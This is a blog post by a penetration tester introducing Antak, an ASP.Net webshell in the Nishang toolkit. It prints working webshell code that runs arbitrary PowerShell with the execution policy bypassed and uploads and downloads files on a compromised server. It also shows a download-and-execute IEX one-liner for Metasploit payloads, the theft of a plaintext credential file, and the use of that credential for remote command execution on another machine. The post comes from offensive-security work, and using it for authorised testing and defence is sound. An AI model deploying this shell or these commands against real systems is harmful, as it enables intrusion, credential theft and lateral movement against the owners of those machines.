Introducing Antak - A webshell which utilizes powershell

Duing penetration tests, I always wanted to have a simple yet powerful webshell. For that, I wrote Antak last year, demonstrated it at Defcon 21 but never released for I was busy in other things :)

Antak stands for God of Death in Indian mythology, popularly known as Yamraj. Muhahaha

The webshell is a part of Nishang now. It is written in ASP.Net.

Antak's UI has been designed to resemble a powershell console.

Use clear to clear the output box. Use help to see the built-in help.

Lets see some of its features.

Running Commands

To run commands on the target machine, just type those in the command text box and press enter or click on submit.

Each command is executed in a separate powershell process. To run multiple commands in a single process, use semi-colon (;) separated commands like cd..;pwd;ls

You are effectively sitting on a powershell prompt with -noninteractvie and -executionpolicy bypass parameters. So all powershell commands would run. Great!

Code snip for command execution:

void execcommand(string cmd)
{
    output.Text += "PS> " + "\n" + do_ps(cmd);
    console.Text = string.Empty;
    console.Focus();
}
string do_ps(string arg)
{
    //This section based on cmdasp webshell by http://michaeldaw.org
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "powershell.exe";
    psi.Arguments = "-noninteractive " + "-executionpolicy bypass " + arg;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
}

Upload a file

To upload a file using Antak:

1. Write the path writable directory in command box. Usually, at least C:\Windows\Temp should be writable.

2. Use the browse button to locate the file on your local machine.

3. Click on "Upload the file" button.
Also, lets verify if the file has been uploaded.

 Nice! The file has been uploaded.

Code for this:

protected void uploadbutton_Click(object sender, EventArgs e)
{
    if (upload.HasFile)
    {
        try
        {
            string filename = Path.GetFileName(upload.FileName);
            upload.SaveAs(console.Text + "\\" + filename);
            output.Text = "File uploaded to: " + console.Text + "\\" + filename;
        }
        catch (Exception ex)
        {
            output.Text = "Upload status: The file could not be uploaded. The following error occured: " + ex.Message;
        }
    }
}

Download a file

To download a file, just write/copy its complete path in command box and click on the "download" button.

 

 And this downloaded text file contains username and password to another machine. Of course, you won't find such things in an enterpreise enviroonment (pun intended) :D

Code for download:

protected void downloadbutton_Click(object sender, EventArgs e)
{
    try
    {
        Response.ContentType = "application/octet-stream";

        Response.AppendHeader("Content-Disposition", "attachment; filename=" + console.Text);

        Response.TransmitFile(console.Text);

        Response.End();

    }

        
        catch (Exception ex)
        {
            output.Text = ex.ToString();
        }
}

Executing Scripts

There are many ways how a script could be executed using Antak. 

UPDATE: In methods 1 and 2 below the script does not touch disk (someone asked me this).

1. Paste the script in command box and click "Encode and Execute".

Lets try this with the egress testing script Firebuster.ps1

 

2. Using powershell one-liner for download & execute. Paste the one-liner in command box and click on execute.
Lets try this with powershell payload generated using msf.

The one liner which could be used is:

IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]

3. An uploaded script could be executed in the usual way.
Lets upload powerpreter on the target and use Get-Information function.

Handy!

Remoting/Pivoting

Recall that we are practically on a powershell prompt. So lets try to use powershell remoting to execute commands on remote machines. Two things which are required for using powershell remoting from Antak are:

1. Administrative credentials for the target remote system.
2. Powershell remoting must already be enabled between system where Antak is residing and the target machine. As it is not possible to change any settings due to low privileges under which Antak runs.

Recall that we downloaded a plain-text credential for a remote machine. That could be used now.

Following semi-colon(;) separated commands could be used to achieve this. This command takes username and password in plain and exeucte ipconfig on the target.

$user = \"samratashok\Nikhil\"; $pass = ConvertTo-SecureString -String \"password\" -asplaintext -force; $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, $pass; Invoke-Command -ComputerName SamratAshok -Scriptblock {ipconfig} -Credential $Credential

Lets use this :)

Great! We are able to execute commands on the remote machine.

That is it for Antak, hope you liked it. It is a part of Nishang and could be found here: https://github.com/samratashok/nishang

If you would like to see Antak in action, you may like to see the webcast I did for Garage4hackers:



I look forward to feedback, bugs and feature requests.